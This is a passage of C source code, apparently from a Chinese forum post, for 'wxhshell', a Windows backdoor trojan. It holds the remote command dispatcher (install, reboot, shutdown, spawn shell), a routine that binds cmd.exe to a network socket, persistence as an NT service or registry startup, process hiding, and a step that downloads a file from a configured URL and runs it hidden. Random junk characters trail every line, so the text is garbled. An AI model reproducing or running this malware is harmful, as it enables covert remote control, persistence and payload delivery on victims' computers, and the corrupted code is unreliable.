  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jAJkCCG  
  } sVC5<?OW!p  
  else { @vv`86bm  
UtWoSFZ'o!  
    switch(cmd[0]) { -meKaQv  
  GV2}K <s  
  // 帮助 q&N&n%rbm  
  case '?': { x7*}4>|W,I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \fKv+  
    break; Fj5^_2MU:  
  } F0|T%!FB>%  
  // 安装 'WOW m$2  
  case 'i': { Ft|a/e  
    if(Install()) V]<dh|x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lS,Hr3Lz  
    else c '(]n]a%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j[z\p~^  
    break; <D 5QlAN  
    } 0P)c)x5  
  // 卸载 te:VYP  
  case 'r': { w"sRK  
    if(Uninstall()) Y# lE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l[5U3{  
    else yy>4`_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uvuvr_IP  
    break; S\f^y8*<  
    } 7<KRB\)b&  
  // 显示 wxhshell 所在路径 -kJF@w6u  
  case 'p': { [mwfgh&4%  
    char svExeFile[MAX_PATH]; wY=ky629  
    strcpy(svExeFile,"\n\r"); s+CWyW@  
      strcat(svExeFile,ExeFile); E+01"G<Q  
        send(wsh,svExeFile,strlen(svExeFile),0); lz>5bR'  
    break; +&t{IP(?  
    } ?ph"|LyL  
  // 重启 2T|L# #C  
  case 'b': { Fdzd!r1 v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); # ._!.P  
    if(Boot(REBOOT)) ybB}|4d&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>{8FzP.F  
    else { cg$~.ytPK  
    closesocket(wsh); C {'c_wX  
    ExitThread(0);  q)%C|  
    } /TB_4{  
    break; CHLMY}O0  
    } R<wb8iir  
  // 关机 57oY]NT?  
  case 'd': { dXOjaS# ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P "%/  
    if(Boot(SHUTDOWN)) [oYe/<3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3O]e  
    else { 6znm?s@~  
    closesocket(wsh); OrH&dY  
    ExitThread(0); JD'/m hN0  
    } SGbo|Xe7:  
    break; 3Fr}8Dy  
    } PffwNj/l  
  // 获取shell K'71uW>  
  case 's': { L@+j8[3BX  
    CmdShell(wsh); Q;Oc# u  
    closesocket(wsh); 8ZahpB  
    ExitThread(0); {1qEN_ERx  
    break; YV2^eGr.  
  } 3NJ-.c@(p  
  // 退出 ``O\'{o&  
  case 'x': { m4%m0"Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J=Jw"? f  
    CloseIt(wsh); Y>z(F\  
    break; nbYaYL?&  
    } {b+IDq`)=  
  // 离开 g_}@/5?y  
  case 'q': { G3e%~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ZV xBQKg  
    closesocket(wsh); ;Lu}>.t  
    WSACleanup(); 9\"~G)  
    exit(1); 6 HEl1FK{@  
    break; ;or> Sh7  
        } f.u{;W  
  } ,%:`Ll t]$  
  } -Pvt+I>  
{=(4  
  // 提示信息 A,iXiDb3pK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w}E?FEe.  
} 1]kk  
  } )WzCUYE1/  
5G2u(hx  
  return; H37Z\xS  
} ?Jma^ S  
O/5W-u  
// shell模块句柄 mki=.l$O  
int CmdShell(SOCKET sock) Kp99y  
{ 9R E;50h  
STARTUPINFO si; WAQv4&xGM  
ZeroMemory(&si,sizeof(si)); BujWql  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . XY'l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $)uQ%/DH>  
PROCESS_INFORMATION ProcessInfo; jrW7AT)\  
char cmdline[]="cmd"; x,V_P/?%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tF;aB*  
  return 0; v(0vP}[Q7E  
} pLIBNo?  
eygyVhJ  
// 自身启动模式 ES+&e/G"ds  
int StartFromService(void) @.gCeMlOf  
{ /@ OGYYH,M  
typedef struct rXaL1`t*  
{ P_Z o}.{  
  DWORD ExitStatus; h(zi$V  
  DWORD PebBaseAddress; 1"e=Zqn$)  
  DWORD AffinityMask; ~7=,)Q  
  DWORD BasePriority; 00Rk%QV  
  ULONG UniqueProcessId; tF'67,~W  
  ULONG InheritedFromUniqueProcessId; vXf#gX!Y  
}   PROCESS_BASIC_INFORMATION; 4C2 D wj  
WH/a#F  
PROCNTQSIP NtQueryInformationProcess; Ylf6-FbF  
hVID~L$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5-g02g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `ybZE+S.  
iUO5hdOM  
  HANDLE             hProcess; l%)XPb2$J  
  PROCESS_BASIC_INFORMATION pbi; cbIW>IbM  
E>[~"~x"pV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~C[,P\,  
  if(NULL == hInst ) return 0; _,'UP>Si  
l==T3u r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZWFH5#=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J d`NS3;*p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *"4ltWS  
b_LzG_n!   
  if (!NtQueryInformationProcess) return 0; d`xqs,0f  
65}:2l2<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  $SDx) '!  
  if(!hProcess) return 0;  {<i!Pm  
1n,JynJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C/cyqxVl}  
c=K M[s.  
  CloseHandle(hProcess); 4Pt0^;H&jn  
>,y QG+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c[YC}@l%a  
if(hProcess==NULL) return 0; X ak~He  
{Cd*y6lI  
HMODULE hMod; LO2sP"9  
char procName[255]; ffWvrY;j[  
unsigned long cbNeeded; N$3F4b%+  
[m"X*Z F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .c',?[S/vH  
ePF9Vzq  
  CloseHandle(hProcess); f"-?%I*'  
b1^MX).vH  
if(strstr(procName,"services")) return 1; // 以服务启动 <k)rfv7  
.FC1:y<aO  
  return 0; // 注册表启动 M5q7` }>G  
} #(A>yW702  
qv<VKJTi6]  
// 主模块 ik]UzB  
int StartWxhshell(LPSTR lpCmdLine) 5n"'M&Ce  
{ oo qNPLa  
  SOCKET wsl; LPXwfEHOm  
BOOL val=TRUE; f&,.h"bS  
  int port=0; [m4<j  
  struct sockaddr_in door; ':fVb3A[*d  
 [g/g(RL  
  if(wscfg.ws_autoins) Install(); xo*a9H?@  
*L!R4;ubE  
port=atoi(lpCmdLine); J0x)m2  
L h0<A%  
if(port<=0) port=wscfg.ws_port; P--#5W;^oB  
0 8U:{LL  
  WSADATA data; 7<) .luV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )i?wBxq'MA  
^ o{O5&i]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Axcm~ !uf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZA# jw 8F  
  door.sin_family = AF_INET; 4[(P>`Unx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vw,dHIe(3  
  door.sin_port = htons(port); cL}g7D  
{:"bX~<^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d) > if<o  
closesocket(wsl); Y/4B*>kl  
return 1; yNqrL?i  
} dtnAMa5$T  
@-W)(9kZ|  
  if(listen(wsl,2) == INVALID_SOCKET) { 7N:,F9V<  
closesocket(wsl); #-{4 Jx  
return 1; N#UyAm<9  
} _E1:3 N|  
  Wxhshell(wsl); .|rpj&>g  
  WSACleanup(); d6Z;\f7[  
jKtbGVZ 7r  
return 0; VfQSfNsi  
Bkcs4 x  
} 8 /\rmf\  
3cs'Oz<w  
// 以NT服务方式启动 *l5/q\D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rSa 3u*xB  
{ \ET7  
DWORD   status = 0; OW6i2>Or  
  DWORD   specificError = 0xfffffff; bclA+!1  
z7GLpTa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oEfKL`]B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Z]8SED  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q!@" Y/  
  serviceStatus.dwWin32ExitCode     = 0; ?{+}gS^  
  serviceStatus.dwServiceSpecificExitCode = 0; 1_F2{n:yp  
  serviceStatus.dwCheckPoint       = 0; x&kF;UC  
  serviceStatus.dwWaitHint       = 0; Wx^L~[l  
BK-{z).)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O6m}#?Ai/@  
  if (hServiceStatusHandle==0) return; 'Yj/M  
UGAP$_j ]P  
status = GetLastError(); d#A.A<p*  
  if (status!=NO_ERROR) m. XLpD  
{ Xp%JPI {  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RCsd  
    serviceStatus.dwCheckPoint       = 0; +H+OYQ>^  
    serviceStatus.dwWaitHint       = 0; n}YRE`>D  
    serviceStatus.dwWin32ExitCode     = status; r% qgLP{v  
    serviceStatus.dwServiceSpecificExitCode = specificError; []'BrG)!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xo'_|-N+  
    return; Y>IEB,w  
  } tNq~M  
Bl(we/r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x|1OGbBK  
  serviceStatus.dwCheckPoint       = 0; uNLA/hL+n  
  serviceStatus.dwWaitHint       = 0; 0b4QcfB1[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X\uN:;?#W{  
} [ibnI2I]`  
Q xKC5`1  
// 处理NT服务事件,比如:启动、停止 hg |DpP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A5z5e# ,u  
{ N U\B  
switch(fdwControl) rZ *}jD[  
{ !hEt UF  
case SERVICE_CONTROL_STOP: l+RBe<Mq  
  serviceStatus.dwWin32ExitCode = 0; (rvK@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +1_NB;,e  
  serviceStatus.dwCheckPoint   = 0; >12phLu  
  serviceStatus.dwWaitHint     = 0; `n$pR8TZ_  
  { LKTIwb>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j^>J*gLM}W  
  } ^Qq_|{vynf  
  return; IL&Mf9m  
case SERVICE_CONTROL_PAUSE: YGNO]Q~A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4OC ^IS  
  break; jsjH.O  
case SERVICE_CONTROL_CONTINUE: L_Ff*   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bF<FX_}!s!  
  break; 8|HuxE  
case SERVICE_CONTROL_INTERROGATE: }H\wed]F/  
  break; M2{{B ^*$6  
}; ' FF@I^O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); REli`"bR  
} yd'>Mw  
4Y;z46yM%  
// 标准应用程序主函数 iJT_*,P^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Z,O*u*  
{ j0>Q:hn  
r_F\]68  
// 获取操作系统版本 %;~Vc{Xxt/  
OsIsNt=GetOsVer(); n~@;[=o?5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5PqL#Eu`!  
I^emH+!MW  
  // 从命令行安装 I& DEF*  
  if(strpbrk(lpCmdLine,"iI")) Install(); "sdzm%  
!Qy%sY  
  // 下载执行文件 2h%/exeS;  
if(wscfg.ws_downexe) { 1pg&?L.MA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) **N{XxdN  
  WinExec(wscfg.ws_filenam,SW_HIDE); Et}S*!IS  
} Se{}OG)  
/0A9d-Qd<  
if(!OsIsNt) { ]MKW5Kq  
// 如果时win9x,隐藏进程并且设置为注册表启动 VG_ PBG(  
HideProc(); AAb3Jf`UW  
StartWxhshell(lpCmdLine); fp^{612O?  
} TgoaEufS<  
else ]ri5mnB  
  if(StartFromService()) )[oegfnn-  
  // 以服务方式启动 Yw7txp`i  
  StartServiceCtrlDispatcher(DispatchTable); '1'De^%6W  
else Y23- Im  
  // 普通方式启动 oc7&iL  
  StartWxhshell(lpCmdLine); aJdd2,e  
H,u{zU')  
return 0; ?0*,x)t  
}
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只看该作者 1 发表于: 2006-10-10
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